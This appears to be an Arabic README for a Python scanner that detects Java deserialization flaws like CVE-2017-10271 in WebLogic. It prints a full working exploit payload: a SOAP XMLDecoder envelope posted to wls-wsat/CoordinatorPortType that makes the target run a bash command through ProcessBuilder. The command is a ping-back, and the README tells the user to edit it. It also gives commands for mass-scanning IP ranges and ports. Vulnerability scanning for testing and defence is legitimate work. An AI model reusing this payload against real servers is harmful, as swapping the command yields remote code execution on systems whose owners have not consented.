
ماسح ضوئي لثغرات إلغاء تسلسل Java (Deserialization) يستهدف ثغرات مشابهة لـ CVE-2017-10271.
ماسح ثغرات إلغاء تسلسل Java يستهدف ثغرات مشابهة لثغرة CVE-2017-10271، يحتوي هذا المشروع على PoC واحد فقط، ولم يتم تنظيم البقية حتى الآن.
تثبيت nmap
https://nmap.org/download.html قم بتنزيل الإصدار المناسب وفقًا لنظام التشغيل وتثبيته.
تثبيت حزم الطرف الثالث
pip install -r requirements.txt
المسح
عدّل ملف PoC، وغيّر عنوان IP في أمر ping إلى عنوان IP الخاص بك
عدّل كود sniff في السطر 25
sniff(filter='icmp and yourIP',prn=packet_callback)
java_scan.py -i عنوان_IP [options] java_scan.py -h للحصول على المساعدة
تأكد من تعديل ملف PoC قبل الاستخدام، وغيّر عنوان IP في أمر ping إلى عنوان IP الخاص بك
ملف PoC عبارة عن ملفين بصيغة JSON مخصصين لنظامي Windows وLinux على التوالي (لا تتوفر حالياً ميزة تحديد مسار ملف PoC، وسيتم إضافتها في الإصدارات القادمة). يجب تسمية ملفي PoC باسمي poc.json وpoc_win.json في دليل البرنامج.
بخصوص تنسيق ملف PoC (إصدار Linux، وإصدار Windows مشابه)
{
"url":"wls-wsat/CoordinatorPortType",
"header": "Content-Type:text/xml",
"data": [
"<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>",
"<soapenv:Header>",
"<work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>",
"<java version='1.8.0_131' class='java.beans.XMLDecoder'>",
"<void class='java.lang.ProcessBuilder'>",
"<array class='java.lang.String' length='3'>",
"<void index='0'>",
"<string>/bin/bash</string>",
"</void>",
"<void index='1'>",
"<string>-c</string>",
"</void>",
"<void index='2'>",
"<string>ping 10.60.18.5 -c 2</string>",
"</void>",
"</array>",
"<void method='start'/></void>",
"</java>",
"</work:WorkContext>",
"</soapenv:Header>",
"<soapenv:Body/>",
"</soapenv:Envelope>"
]
}
يحدد الحقل url مسار الاستغلال، ويحدد الحقل header محتوى الترويسة المضافة إلى حزمة POST، أما data فهو المحتوى المتسلسل الذي سيتم إرساله.
ملاحظة: يجب أن يُرجع هذا الـ PoC حزمتي ping من المضيف الهدف، ولا يمكن للبرنامج تأكيد وجود الثغرة إلا عند اكتشاف حزم ICMP.
يقوم البرنامج افتراضيًا باستدعاء nmap لمسح الشبكة المحلية
java_scan.py -i 192.168.0.1
يقوم هذا المسح بفحص المنفذ 7001 على المضيف 192.168.0.1
تحديد عنوان IP ومنفذ واحد
java_scan.py -i 192.168.0.1 -p 7001
تحديد عدة عناوين IP ومنافذ متعددة
java_scan.py -i 192.168.0.1,2,55 -p 7001,8001,9001
تحديد نطاق عناوين IP ونطاق منافذ
java_scan.py -i 192.168.0.1-255 -p 7000-8000
عند استخدام المعامل -f، سيتم استدعاء socket لإجراء فحص سريع للمنافذ
java_scan.py -i 192.168.0.1-255 -p 7001 -f
تحديد عدد الخيوط (threads) لفحص المنافذ السريع
java_scan.py -i 192.168.0.1-255 -p 7001 -f -t 100
